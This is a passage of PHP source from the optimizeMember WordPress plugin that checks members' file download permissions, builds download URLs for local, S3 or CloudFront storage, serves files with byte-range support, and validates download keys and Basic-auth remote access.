												{
													if /* We only need this section when/if we're actually serving. */($serving)
														status_header(404).header("Content-Type: text/html; charset=utf-8").eval('while (@ob_end_clean ());') #
														.exit(_x('<strong>404: Sorry, file not found.</strong> Please contact Support for assistance.', "s2member-front", "s2member"));
													/**/
													else /* Else return false. */
														return false;
												}
											/**/
											else if($req["file_download_key"] && is_string($req["file_download_key"]) && !$valid_file_download_key)
												{
													if /* We only need this section when/if we're actually serving. */($serving)
														status_header(503).header("Content-Type: text/html; charset=utf-8").eval('while (@ob_end_clean ());') #
														.exit(_x('<strong>503 ( Invalid Key ):</strong> Sorry, your access to this file has expired. Please contact Support for assistance.', "s2member-front", "s2member"));
													/**/
													else /* Else return false. */
														return false;
												}
											/**/
											else if($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["membership_options_page"] || ($file_downloads_enabled_by_site_owner = $min_level_4_downloads = c_ws_plugin__optimizemember_files::min_level_4_downloads()) === false)
												{
													if /* We only need remote functionality when/if we're actually serving. */($serving)
														if(!has_filter("ws_plugin__optimizemember_check_file_download_access_user", "c_ws_plugin__optimizemember_files_in::check_file_remote_authorization"))
															add_filter("ws_plugin__optimizemember_check_file_download_access_user", "c_ws_plugin__optimizemember_files_in::check_file_remote_authorization", 10, 2);
													/**/
													if /* We only need remote functionality when/if we're actually serving. */($creating)
														if(has_filter("ws_plugin__optimizemember_check_file_download_access_user", "c_ws_plugin__optimizemember_files_in::check_file_remote_authorization"))
															remove_filter("ws_plugin__optimizemember_check_file_download_access_user", "c_ws_plugin__optimizemember_files_in::check_file_remote_authorization", 10, 2);
													/**/
													if((isset($file_downloads_enabled_by_site_owner, $min_level_4_downloads) && $file_downloads_enabled_by_site_owner === false) || ($file_downloads_enabled_by_site_owner = $min_level_4_downloads = c_ws_plugin__optimizemember_files::min_level_4_downloads()) === false)
														{
															if /* We only need this section when/if we're actually serving. */($serving)
																status_header(503).header("Content-Type: text/html; charset=utf-8").eval('while (@ob_end_clean ());') #
																.exit(_x('<strong>503: Basic File Downloads are NOT enabled yet.</strong> Please contact Support for assistance. If you are the site owner, please configure: <code>optimizeMember -> Download Options -> Basic Download Restrictions</code>.', "s2member-front", "s2member"));
															/**/
															else /* Else return false. */
																return false;
														}
													/**/
													else if(!is_object($user = apply_filters("ws_plugin__optimizemember_check_file_download_access_user", ((is_user_logged_in()) ? wp_get_current_user() : false), get_defined_vars())) || empty($user->ID) || !($user_id = $user->ID) || !is_array($user_file_downloads = c_ws_plugin__optimizemember_files::user_downloads($user)) || (!$user->has_cap("administrator") && (!$user_file_downloads["allowed"] || !$user_file_downloads["allowed_days"])))
														{
															if(preg_match("/(?:^|\/)access[_\-]optimizemember[_\-]level([0-9]+)\//", $req["file_download"], $m) && strlen($req_level = $m[1]) && (!is_object($user) || empty($user->ID) || !$user->has_cap("access_optimizemember_level".$req_level)))
																{
																	if /* We only need this section when/if we're actually serving. */($serving)
																		c_ws_plugin__optimizemember_mo_page::wp_redirect_w_mop_vars /* Configure MOP Vars here. */("file", $req["file_download"], "level", $req_level, $_SERVER["REQUEST_URI"]).exit();
																	/**/
																	else /* Else return false. */
																		return false;
																}
															/**/
															else if(preg_match("/(?:^|\/)access[_\-]optimizemember[_\-]ccap[_\-](.+?)\//", $req["file_download"], $m) && strlen($req_ccap = preg_replace("/-/", "_", $m[1])) && (!is_object($user) || empty($user->ID) || !$user->has_cap("access_optimizemember_ccap_".$req_ccap)))
																{
																	if /* We only need this section when/if we're actually serving. */($serving)
																		c_ws_plugin__optimizemember_mo_page::wp_redirect_w_mop_vars /* Configure MOP Vars here. */("file", $req["file_download"], "ccap", $req_ccap, $_SERVER["REQUEST_URI"]).exit();
																	/**/
																	else /* Else return false. */
																		return false;
																}
															/**/
															else if /* We only need this section when/if we're actually serving. */($serving)
																c_ws_plugin__optimizemember_mo_page::wp_redirect_w_mop_vars /* Configure MOP Vars here. */("file", $req["file_download"], "level", $min_level_4_downloads, $_SERVER["REQUEST_URI"]).exit();
															/**/
															else /* Else return false. */
																return false;
														}
													/**/
													else if(preg_match("/(?:^|\/)access[_\-]optimizemember[_\-]level([0-9]+)\//", $req["file_download"], $m) && strlen($req_level = $m[1]) && !$user->has_cap("access_optimizemember_level".$req_level))
														{
															if /* We only need this section when/if we're actually serving. */($serving)
																c_ws_plugin__optimizemember_mo_page::wp_redirect_w_mop_vars /* Configure MOP Vars here. */("file", $req["file_download"], "level", $req_level, $_SERVER["REQUEST_URI"]).exit();
															/**/
															else /* Else return false. */
																return false;
														}
													/**/
													else if(preg_match("/(?:^|\/)access[_\-]optimizemember[_\-]ccap[_\-](.+?)\//", $req["file_download"], $m) && strlen($req_ccap = preg_replace("/-/", "_", $m[1])) && !$user->has_cap("access_optimizemember_ccap_".$req_ccap))
														{
															if /* We only need this section when/if we're actually serving. */($serving)
																c_ws_plugin__optimizemember_mo_page::wp_redirect_w_mop_vars /* Configure MOP Vars here. */("file", $req["file_download"], "ccap", $req_ccap, $_SERVER["REQUEST_URI"]).exit();
															/**/
															else /* Else return false. */
																return false;
														}
													/**/
													else if /* In either case, the following routines apply. */($serving || $creating)
														{
															$user_previous_file_downloads = /* Downloads the User has already; in current period/cycle. */ 0;
															$user_already_downloaded_this_file = $user_already_downloaded_a_streaming_variation_of_this_file = false;
															/**/
															$user_file_download_access_log = (is_array($user_file_download_access_log = get_user_option("optimizemember_file_download_access_log", $user_id))) ? $user_file_download_access_log : array();
															$user_file_download_access_arc = (is_array($user_file_download_access_arc = get_user_option("optimizemember_file_download_access_arc", $user_id))) ? $user_file_download_access_arc : array();
															/**/
															$streaming_file_extns = c_ws_plugin__optimizemember_utils_strings::preg_quote_deep($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["streaming_file_extns"], "/");
															$streaming_variations = /* Only count one streaming media file variation. */ "/\.(".implode("|", $streaming_file_extns).")$/i";
															/**/
															foreach($user_file_download_access_log as $user_file_download_access_log_entry_key => $user_file_download_access_log_entry)
																{
																	if( /* Weed out corrupt/empty log entries. */isset($user_file_download_access_log_entry["date"], $user_file_download_access_log_entry["file"]))
																		{
																			if(strtotime($user_file_download_access_log_entry["date"]) < strtotime("-".$user_file_downloads["allowed_days"]." days"))
																				{
																					unset /* Remove it from the `log`. */($user_file_download_access_log[$user_file_download_access_log_entry_key]);
																					$user_file_download_access_arc[] = /* Move `log` entry to the `archive` now. */ $user_file_download_access_log_entry;
																				}
																			else if(strtotime($user_file_download_access_log_entry["date"]) >= strtotime("-".$user_file_downloads["allowed_days"]." days"))
																				{
																					$user_previous_file_downloads++; /* Previous files always count against this User/Member. */
																					/**/
																					$_user_file_download_access_log_entry = &$user_file_download_access_log[$user_file_download_access_log_entry_key];
																					$_user_already_downloaded_this_file = $_user_already_downloaded_a_streaming_variation_of_this_file = false;
																					/**/
																					if /* Already downloaded this file? If yes, mark this flag as true. */($user_file_download_access_log_entry["file"] === $req["file_download"])
																						$user_already_downloaded_this_file = $_user_already_downloaded_this_file = /* Already downloaded this file? If yes, mark as true. */ true;
																					/**/
																					else if(preg_replace($streaming_variations, "", $user_file_download_access_log_entry["file"]) === preg_replace($streaming_variations, "", $req["file_download"]))
																						$user_already_downloaded_this_file = $_user_already_downloaded_this_file = $user_already_downloaded_a_streaming_variation_of_this_file = $_user_already_downloaded_a_streaming_variation_of_this_file = true;
																					/**/
																					if( /* Updating counter? */$updating_user_counter && ($_user_already_downloaded_this_file || $_user_already_downloaded_a_streaming_variation_of_this_file))
																						{
																							$_user_file_download_access_log_entry /* First, we update the last download time for this file. */["ltime"] = time();
																							/**/
																							if( /* Backward compatiility here. Is this even set? */!empty($user_file_download_access_log_entry["counter"]))
																								$_user_file_download_access_log_entry["counter"] = (int)$user_file_download_access_log_entry["counter"] + 1;
																							else /* Backward compatiility here. Default value to `1`, if this is NOT even set yet. */
																								$_user_file_download_access_log_entry["counter"] = 1 + 1;
																						}
																				}
																		}
																	else /* Weed out empty log entries. Some older versions of optimizeMember may have corrupt/empty log entries. */
																		unset($user_file_download_access_log[$user_file_download_access_log_entry_key]); /* Remove. */
																}
															if( /* Updating counter? */$updating_user_counter && /* Do we need a new log entry for this file? */ !$user_already_downloaded_this_file && !$user_already_downloaded_a_streaming_variation_of_this_file)
																$user_file_download_access_log[] = array("date" => date("Y-m-d"), "time" => time(), "ltime" => time(), "file" => $req["file_download"], "counter" => 1);
															/**/
															if($user_previous_file_downloads >= $user_file_downloads["allowed"] && !$user_already_downloaded_this_file && !$user_already_downloaded_a_streaming_variation_of_this_file && !$user->has_cap("administrator"))
																{
																	if /* We only need this section when/if we're actually serving. */($serving)
																		wp_redirect(add_query_arg(urlencode_deep(array("_optimizemember_seeking" => array("type" => "file", "file" => $req["file_download"], "_uri" => base64_encode($_SERVER["REQUEST_URI"])), "optimizemember_seeking" => "file-".$req["file_download"])), get_page_link($GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["file_download_limit_exceeded_page"])), apply_filters("ws_plugin__optimizemember_content_redirect_status", 301, get_defined_vars())).exit();
																	/**/
																	else /* Else return false. */
																		return false;
																}
															else if /* Save/update counter? By default, we do NOT update the counter when a URL is simply being created for access. */($updating_user_counter)
																update_user_option($user_id, "optimizemember_file_download_access_log", c_ws_plugin__optimizemember_utils_arrays::array_unique($user_file_download_access_log)).update_user_option($user_id, "optimizemember_file_download_access_arc", c_ws_plugin__optimizemember_utils_arrays::array_unique($user_file_download_access_arc));
														}
												}
										}
									else /* Otherwise, we're either NOT ``$checking_user``; or permission was granted with a valid File Download Key. */
										{
											if(!$using_amazon_storage && !file_exists($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"]."/".$req["file_download"]))
												{
													if /* We only need this section when/if we're actually serving. */($serving)
														status_header(404).header("Content-Type: text/html; charset=utf-8").eval('while (@ob_end_clean ());') #
														.exit(_x('<strong>404: Sorry, file not found.</strong> Please contact Support for assistance.', "s2member-front", "s2member"));
													/**/
													else /* Else return false. */
														return false;
												}
										}
									/**/
									if /* In either case, the following routines apply. */($serving || $creating)
										{
											$basename = basename($req["file_download"]);
											$mimetypes = parse_ini_file(dirname(dirname(dirname(__FILE__)))."/includes/mime-types.ini");
											$extension = strtolower(substr($req["file_download"], strrpos($req["file_download"], ".") + 1));
											/**/
											$key = ($req["file_download_key"] && is_string($req["file_download_key"])) ? $req["file_download_key"] : false;
											/**/
											$stream = (isset($req["file_stream"])) ? filter_var($req["file_stream"], FILTER_VALIDATE_BOOLEAN) : ((in_array($extension, preg_split("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["file_download_stream_extensions"]))) ? true : false);
											$inline = (!$stream && isset($req["file_inline"])) ? filter_var($req["file_inline"], FILTER_VALIDATE_BOOLEAN) : (($stream || in_array($extension, preg_split("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["file_download_inline_extensions"]))) ? true : false);
											$ssl = (isset($req["file_ssl"])) ? filter_var($req["file_ssl"], FILTER_VALIDATE_BOOLEAN) : ((is_ssl()) ? true : false);
											$storage = ($req["file_storage"] && is_string($req["file_storage"])) ? strtolower($req["file_storage"]) : false;
											$remote = (isset($req["file_remote"])) ? filter_var($req["file_remote"], FILTER_VALIDATE_BOOLEAN) : false;
											/**/
											$_basename_dir_app_data = c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"]);
											$rewrite_base_guess = (is_dir(dirname($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["dir"])."/".$_basename_dir_app_data)) ? dirname($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["dir_url"])."/".$_basename_dir_app_data : content_url("/".$_basename_dir_app_data);
											$rewrite_base = ($req["file_rewrite_base"] && is_string($req["file_rewrite_base"])) ? $req["file_rewrite_base"] : false;
											$rewrite = $rewriting = (!$rewrite_base && isset($req["file_rewrite"])) ? filter_var($req["file_rewrite"], FILTER_VALIDATE_BOOLEAN) : (($rewrite_base) ? true : false);
											unset /* A little housekeeping here. */($_basename_dir_app_data);
											/**/
											$skip_confirmation = (isset($req["skip_confirmation"])) ? filter_var($req["skip_confirmation"], FILTER_VALIDATE_BOOLEAN) : false;
											$url_to_storage_source = (isset($req["url_to_storage_source"])) ? filter_var($req["url_to_storage_source"], FILTER_VALIDATE_BOOLEAN) : false;
											/**/
											$pathinfo = (!$using_amazon_storage) ? pathinfo(($file = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"]."/".$req["file_download"])) : array();
											$mimetype = ($mimetypes[$extension]) ? $mimetypes[$extension] : "application/octet-stream";
											$disposition = (($inline) ? "inline" : "attachment")."; filename=\"".c_ws_plugin__optimizemember_utils_strings::esc_dq($basename)."\"; filename*=UTF-8''".rawurlencode($basename);
											$length = (!$using_amazon_storage && $file) ? filesize($file) : -1;
											/**/
											foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
											do_action("ws_plugin__optimizemember_during_file_download_access", get_defined_vars());
											unset($__refs, $__v); /* Unset defined __refs, __v. */
											/**/
											if($using_amazon_storage && $using_amazon_cf_storage && ($serving || ($creating && $url_to_storage_source)))
												{
													if /* We only need this section when/if we're actually serving. */($serving)
														wp_redirect(c_ws_plugin__optimizemember_files_in::amazon_cf_url($req["file_download"], $stream, $inline, $ssl, $basename, $mimetype)).exit();
													/**/
													else /* Else return File Download URL. */
														return apply_filters("ws_plugin__optimizemember_file_download_access_url", c_ws_plugin__optimizemember_files_in::amazon_cf_url($req["file_download"], $stream, $inline, $ssl, $basename, $mimetype), get_defined_vars());
												}
											/**/
											else if($using_amazon_storage && $using_amazon_s3_storage && ($serving || ($creating && $url_to_storage_source)))
												{
													if /* We only need this section when/if we're actually serving. */($serving)
														wp_redirect(c_ws_plugin__optimizemember_files_in::amazon_s3_url($req["file_download"], $stream, $inline, $ssl, $basename, $mimetype)).exit();
													/**/
													else /* Else return File Download URL. */
														return apply_filters("ws_plugin__optimizemember_file_download_access_url", c_ws_plugin__optimizemember_files_in::amazon_s3_url($req["file_download"], $stream, $inline, $ssl, $basename, $mimetype), get_defined_vars());
												}
											/**/
											else if /* Creating a rewrite URL, pointing to local storage. */($creating && $rewriting)
												{/* Note: we don't URL encode unreserved chars. Improves media player compatibility. */
													$_url_e_key = ($key) ? c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep(urlencode($key)) : "";
													$_url_e_storage = ($storage) ? c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep(urlencode($storage)) : "";
													$_url_e_file = c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep(urlencode($req["file_download"]));
													/**/
													$url = ($rewrite_base) ? rtrim($rewrite_base, "/") : rtrim($rewrite_base_guess, "/");
													$url .= (isset($req["file_download_key"])) ? (($key && $_url_e_key) ? "/optimizemember-file-download-key-".$_url_e_key : "") : "";
													$url .= (isset($req["file_stream"])) ? (($stream) ? "/optimizemember-file-stream" : "/optimizemember-file-stream-no") : "";
													$url .= (isset($req["file_inline"])) ? (($inline) ? "/optimizemember-file-inline" : "/optimizemember-file-inline-no") : "";
													$url .= (isset($req["file_storage"])) ? (($storage && $_url_e_storage) ? "/optimizemember-file-storage-".$_url_e_storage : "") : "";
													$url .= (isset($req["file_remote"])) ? (($remote) ? "/optimizemember-file-remote" : "/optimizemember-file-remote-no") : "";
													$url .= (isset($req["skip_confirmation"])) ? (($skip_confirmation) ? "/s2member-skip-confirmation" : "/s2member-skip-confirmation-no") : "";
													/**/
													$url = /* File Download Access URL via `mod_rewrite` functionality. */ $url."/".$_url_e_file;
													$url = ($ssl) ? preg_replace("/^https?/", "https", $url) : preg_replace("/^https?/", "http", $url);
													/**/
													return apply_filters("ws_plugin__optimizemember_file_download_access_url", $url, get_defined_vars());
												}
											/**/
											else if /* Else we're creating a URL w/ a query-string; w/ local storage. */($creating)
												{ /* Note: we don't URL encode unreserved chars. Improves media player compatibility. */
													$_url_e_key = ($key) ? c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep(urlencode($key)) : "";
													$_url_e_storage = ($storage) ? c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep(urlencode($storage)) : "";
													$_url_e_file = c_ws_plugin__optimizemember_utils_strings::urldecode_ur_chars_deep(urlencode($req["file_download"]));
													/**/
													$url = (isset($req["file_download_key"])) ? (($key && $_url_e_key) ? "&optimizemember_file_download_key=".$_url_e_key : "") : "";
													$url .= (isset($req["file_stream"])) ? (($stream) ? "&optimizemember_file_stream=yes" : "&optimizemember_file_stream=no") : "";
													$url .= (isset($req["file_inline"])) ? (($inline) ? "&optimizemember_file_inline=yes" : "&optimizemember_file_inline=no") : "";
													$url .= (isset($req["file_storage"])) ? (($storage && $_url_e_storage) ? "&optimizemember_file_storage=".$_url_e_storage : "") : "";
													$url .= (isset($req["file_remote"])) ? (($remote) ? "&optimizemember_file_remote=yes" : "&optimizemember_file_remote=no") : "";
													$url .= (isset($req["skip_confirmation"])) ? (($skip_confirmation) ? "&optimizemember_skip_confirmation=yes" : "&optimizemember_skip_confirmation=no") : "";
													/**/
													$url = site_url("/?".ltrim($url."&optimizemember_file_download=/".$_url_e_file, "&"));
													$url = ($ssl) ? preg_replace("/^https?/", "https", $url) : preg_replace("/^https?/", "http", $url);
													/**/
													return apply_filters("ws_plugin__optimizemember_file_download_access_url", $url, get_defined_vars());
												}
											/**/
											else if /* Else, ``if ($serving)``, use local storage. */($serving)
												{
													@set_time_limit(0);
													/**/
													@ini_set("zlib.output_compression", 0);
													if(function_exists("apache_setenv"))
														@apache_setenv("no-gzip", "1");
													while /* Cleans existing output buffers. */(@ob_end_clean());
													/**/
													if /* Requesting a specific byte range? */($range)
														{
															if /* Invalid range? */(strpos($range, "=") === FALSE)
																{
																	status_header(416);
																	nocache_headers();
																	header("Content-Encoding:");
																	header("Accept-Ranges: bytes");
																	header("Content-Type: ".$mimetype);
																	header("Content-Length: ".$length);
																	header("Content-Disposition: ".$disposition);
																	exit /* Stop here (invalid). */();
																}
															list($range_type, $byte_range) = preg_split("/\s*\=\s*/", $range, 2);
															/**/
															$range_type = strtolower(trim($range_type));
															$byte_range = trim($byte_range);
															/**/
															if /* Invalid range type? */($range_type !== "bytes")
																{
																	status_header(416);
																	nocache_headers();
																	header("Content-Encoding:");
																	header("Accept-Ranges: bytes");
																	header("Content-Type: ".$mimetype);
																	header("Content-Length: ".$length);
																	header("Content-Disposition: ".$disposition);
																	exit /* Stop here (invalid). */();
																}
															$byte_ranges = preg_split("/\s*,\s*/", $byte_range);
															/**/
															if /* Invalid byte range? */(strpos($byte_ranges[0], "-") === FALSE)
																{
																	status_header(416);
																	nocache_headers();
																	header("Content-Encoding:");
																	header("Accept-Ranges: bytes");
																	header("Content-Type: ".$mimetype);
																	header("Content-Length: ".$length);
																	header("Content-Disposition: ".$disposition);
																	exit /* Stop here (invalid). */();
																}
															/* Only dealing with the first byte range. Others are simply ignored here. */
															list($byte_range_start, $byte_range_stops) = preg_split("/\s*\-\s*/", $byte_ranges[0], 2);
															/**/
															$byte_range_start = trim($byte_range_start);
															$byte_range_stops = trim($byte_range_stops);
															/**/
															$byte_range_start = ($byte_range_start === "") ? NULL : (integer)$byte_range_start;
															$byte_range_stops = ($byte_range_stops === "") ? NULL : (integer)$byte_range_stops;
															/**/
															if(!isset($byte_range_start) && $byte_range_stops > 0 && $byte_range_stops <= $length)
																{
																	$byte_range_start = $length - $byte_range_stops;
																	$byte_range_stops = /* The last X number of bytes. */ $length - 1;
																}
															else if(!isset($byte_range_stops) && $byte_range_start >= 0 && $byte_range_start < $length - 1)
																{
																	$byte_range_stops = /* To the end of the file in this case. */ $length - 1;
																}
															else if(isset($byte_range_start, $byte_range_stops) && $byte_range_start >= 0 && $byte_range_start < $length - 1 && $byte_range_stops > $byte_range_start && $byte_range_stops <= $length - 1) {
															/* Nothing to do in this case, starts/stops already defined properly. */
															}
															else /* We have an invalid byte range. */
																{
																	status_header(416);
																	nocache_headers();
																	header("Content-Encoding:");
																	header("Accept-Ranges: bytes");
																	header("Content-Type: ".$mimetype);
																	header("Content-Length: ".$length);
																	header("Content-Disposition: ".$disposition);
																	exit /* Stop here (invalid). */();
																}
															/* Range. */
															status_header(206);
															nocache_headers();
															header("Content-Encoding:");
															header("Accept-Ranges: bytes");
															header("Content-Type: ".$mimetype);
															header("Content-Range: bytes ".$byte_range_start."-".$byte_range_stops."/".$length);
															$byte_range_size = $byte_range_stops - $byte_range_start + 1;
															header("Content-Length: ".$byte_range_size);
															header("Content-Disposition: ".$disposition);
														}
													else /* A normal request (NOT a specific byte range). */
														{
															status_header(200);
															nocache_headers();
															header("Content-Encoding:");
															header("Accept-Ranges: bytes");
															header("Content-Type: ".$mimetype);
															header("Content-Length: ".$length);
															header("Content-Disposition: ".$disposition);
														}
													if(is_resource($resource = fopen($file, "rb")))
														{
															if($range)
																{
																	$_bytes_to_read = $byte_range_size;
																	fseek($resource, $byte_range_start);
																}
															else /* Entire file. */
																$_bytes_to_read = $length;
															/**/
															$chunk_size = apply_filters("ws_plugin__optimizemember_file_downloads_chunk_size", 2097152, get_defined_vars());
															/**/
															while /* We have bytes to read here. */($_bytes_to_read)
																{
																	$_bytes_to_read -= ($_reading = ($_bytes_to_read > $chunk_size) ? $chunk_size : $_bytes_to_read);
																	echo /* Serve file in chunks (default chunk size is 2MB). */ fread($resource, $_reading);
																	flush /* Flush each chunk to the browser as it is served (avoids high memory consumption). */();
																}
															fclose /* Close file resource handle. */($resource);
															unset /* Housekeeping. */($_bytes_to_read, $_reading);
														}
													exit /* Stop execution now (the file has been served). */();
												}
										}
								}
							/**/
							else if /* We only need this section when/if we're actually serving. */($serving && $req["file_download"])
								status_header(503).header("Content-Type: text/html; charset=utf-8").eval('while (@ob_end_clean ());') #
								.exit(_x('<strong>503: Access denied.</strong> Invalid File Download specs.', "s2member-front", "s2member"));
							/**/
							else if /* We only need this section when/if we're creating a URL. */($creating)
								return false;
						/**/
						do_action("ws_plugin__optimizemember_after_file_download_access", get_defined_vars());
						/**/
						return ($creating) ? /* If creating, false. */ false : null;
					}
				/**
				* Generates a File Download URL for access to a file protected by optimizeMember.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param array $config Required. This is an array of configuration options associated with permissions being checked against the current User/Member; and also the actual URL generated by this routine.
				* 	Possible ``$config`` array elements: `file_download` *(required)*, `file_download_key`, `file_stream`, `file_inline`, `file_storage`, `file_remote`, `file_ssl`, `file_rewrite`, `file_rewrite_base`, `skip_confirmation`, `url_to_storage_source`, `count_against_user`, `check_user`.
				* @param bool $get_streamer_array Optional. Defaults to `false`. If `true`, this function will return an array with the following elements: `streamer`, `file`, `url`. For further details, please review this section in your Dashboard: `optimizeMember -> Download Options -> JW Player & RTMP Protocol Examples`.
				* @return str A File Download URL string on success; or an array on success, with elements `streamer`, `file`, `url` when/if ``$get_streamer_array`` is true; else false on any type of failure.
				*
				* @see optimizeMember\API_Functions\optimizemember_file_download_url()
				*/
				public static function create_file_download_url($config = FALSE, $get_streamer_array = FALSE)
					{
						foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
						do_action("ws_plugin__optimizemember_before_create_file_download_url", get_defined_vars());
						unset($__refs, $__v); /* Unset defined __refs, __v. */
						/**/
						$config = (is_array($config)) ? $config : /* This absolutely MUST be an array. */ array();
						/**/
						$config["file_download"] = (isset($config["file_download"]) && is_string($config["file_download"])) ? trim($config["file_download"], "/") : @$config["file_download"];
						$config["file_download_key"] = (isset($config["file_download"]) && is_string($config["file_download"]) && !empty($config["file_download_key"])) ? c_ws_plugin__optimizemember_files::file_download_key($config["file_download"], ((in_array($config["file_download_key"], array("ip-forever", "universal", "cache-compatible"))) ? $config["file_download_key"] : false)) : @$config["file_download_key"];
						/**/
						$config["url_to_storage_source"] = /* Force a streaming URL here via ``$get_streamer_array``? */ ($get_streamer_array) ? true : @$config["url_to_storage_source"];
						$config["file_stream"] = /* Force a streaming URL here via ``$get_streamer_array``? */ ($get_streamer_array) ? true : @$config["file_stream"];
						/**/
						if(($_url = c_ws_plugin__optimizemember_files_in::check_file_download_access /* Successfully created a URL to the file? */(($create_file_download_url = $config))))
							{
								foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
								do_action("ws_plugin__optimizemember_during_create_file_download_url", get_defined_vars());
								unset($__refs, $__v); /* Unset defined __refs, __v. */
								/**/
								$extension = strtolower(substr($config["file_download"], strrpos($config["file_download"], ".") + 1));
								$streaming = (isset($config["file_stream"])) ? filter_var($config["file_stream"], FILTER_VALIDATE_BOOLEAN) : ((in_array($extension, preg_split("/[\r\n\t\s;,]+/", $GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["file_download_stream_extensions"]))) ? true : false);
								$ssl = (isset($config["file_ssl"])) ? filter_var($config["file_ssl"], FILTER_VALIDATE_BOOLEAN) : ((is_ssl()) ? true : false);
								/**/
								if($get_streamer_array && $streaming && ($cfx = "/cfx/st") && ($cfx_pos = strpos($_url, $cfx)) !== false && ($streamer = substr($_url, 0, $cfx_pos + strlen($cfx))) && ($url = c_ws_plugin__optimizemember_files_in::check_file_download_access(array_merge($config, array("file_stream" => false, "check_user" => false, "count_against_user" => false)))))
									$return = array("streamer" => $streamer, "prefix" => $extension.":", "file" => preg_replace("/^".preg_quote($streamer, "/")."\//", "", $_url), "url" => preg_replace("/^.+?\:/", (($ssl) ? "https:" : "http:"), $url));
								/**/
								else if($get_streamer_array && $streaming && is_array($ups = c_ws_plugin__optimizemember_utils_urls::parse_url($_url)) && isset($ups["scheme"], $ups["host"]) && ($streamer = $ups["scheme"]."://".$ups["host"].((!empty($ups["port"])) ? ":".$ups["port"] : "")) && ($url = c_ws_plugin__optimizemember_files_in::check_file_download_access(array_merge($config, array("file_stream" => false, "check_user" => false, "count_against_user" => false)))))
									$return = array("streamer" => $streamer, "prefix" => $extension.":", "file" => preg_replace("/^".preg_quote($streamer, "/")."\//", "", $_url), "url" => preg_replace("/^.+?\:/", (($ssl) ? "https:" : "http:"), $url));
								/**/
								else if /* If streamer, we MUST return false here; unable to acquire streamer/file. */($get_streamer_array)
									$return = /* We MUST return false here, unable to acquire streamer/file. */ false;
								/**/
								else /* Else return URL string ( ``$get_streamer_array`` is false ). */
									$return = /* Else return URL string. */ $_url;
							}
						/**/
						return apply_filters("ws_plugin__optimizemember_create_file_download_url", ((isset($return)) ? $return : false), get_defined_vars());
					}
				/**
				* Checks Header Authorization for Remote File Downloads.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @attaches-to ``add_filter("ws_plugin__optimizemember_check_file_download_access_user");``
				*
				* @param obj $user Expects a WP_User object passed in by the Filter.
				* @return obj A `WP_User` object, possibly obtained through Header Authorization.
				*/
				public static function check_file_remote_authorization($user = FALSE)
					{
						foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
						do_action("ws_plugin__optimizemember_before_check_file_remote_authorization", get_defined_vars());
						unset($__refs, $__v); /* Unset defined __refs, __v. */
						/**/
						$_g = c_ws_plugin__optimizemember_utils_strings::trim_deep(stripslashes_deep(((!empty($_GET)) ? $_GET : array())));
						/**/
						if(!is_object($user) && isset($_g["optimizemember_file_remote"]) && filter_var($_g["optimizemember_file_remote"], FILTER_VALIDATE_BOOLEAN))
							{
								do_action("ws_plugin__optimizemember_during_check_file_remote_authorization_before", get_defined_vars());
								/**/
								if(empty($_SERVER["PHP_AUTH_USER"]) || empty($_SERVER["PHP_AUTH_PW"]) || !wp_authenticate($_SERVER["PHP_AUTH_USER"], $_SERVER["PHP_AUTH_PW"]))
									{
										header('WWW-Authenticate: Basic realm="'.c_ws_plugin__optimizemember_utils_strings::esc_dq(strip_tags(_x("Members Only", "s2member-front", "s2member"))).'"');
										/**/
										status_header /* Send an unauthorized 401 status header now. */(401);
										header /* Content-Type with UTF-8. */("Content-Type: text/html; charset=utf-8");
										eval /* End/clean any output buffers that may exist. */('while (@ob_end_clean ());');
										/**/
										exit(_x('<strong>401:</strong> Sorry, access denied.', "s2member-front", "s2member"));
									}
								else if(is_object($_user = new WP_User($_SERVER["PHP_AUTH_USER"])) && !empty($_user->ID))
									$user = /* Now assign ``$user``. */ $_user;
								/**/
								do_action("ws_plugin__optimizemember_during_check_file_remote_authorization_after", get_defined_vars());
							}
						return apply_filters("ws_plugin__optimizemember_check_file_remote_authorization", $user, get_defined_vars());
					}
				/**
				* Checks a File Download Key for validity.
				*
				* @package optimizeMember\Files
				* @since 110926
				*
				* @param str $file Input File Download to validate.
				* @param str $key Input File Download Key to validate.
				* @return bool True if valid, else false.
				*/
				public static function check_file_download_key($file = FALSE, $key = FALSE)
					{
						foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
						do_action("_ws_plugin__optimizemember_before_check_file_download_key", get_defined_vars());
						unset($__refs, $__v); /* Unset defined __refs, __v. */
						/**/
						if($file && is_string($file) && ($file = trim($file, "/")) && $key && is_string($key))
							{
								if($key === c_ws_plugin__optimizemember_files::file_download_key($file) || $key === c_ws_plugin__optimizemember_files::file_download_key("/".$file))
									$valid = /* File Download Key is valid. */ true;
								else if($key === c_ws_plugin__optimizemember_files::file_download_key($file, "ip-forever") || $key === c_ws_plugin__optimizemember_files::file_download_key("/".$file, "ip-forever"))
									$valid = /* File Download Key is valid. */ true;
								else if($key === c_ws_plugin__optimizemember_files::file_download_key($file, "universal") || $key === c_ws_plugin__optimizemember_files::file_download_key("/".$file, "universal"))
									$valid = /* File Download Key is valid. */ true;
							}
						return apply_filters("ws_plugin__optimizemember_check_file_download_key", ((isset($valid) && $valid) ? true : false), get_defined_vars());
					}
				/**
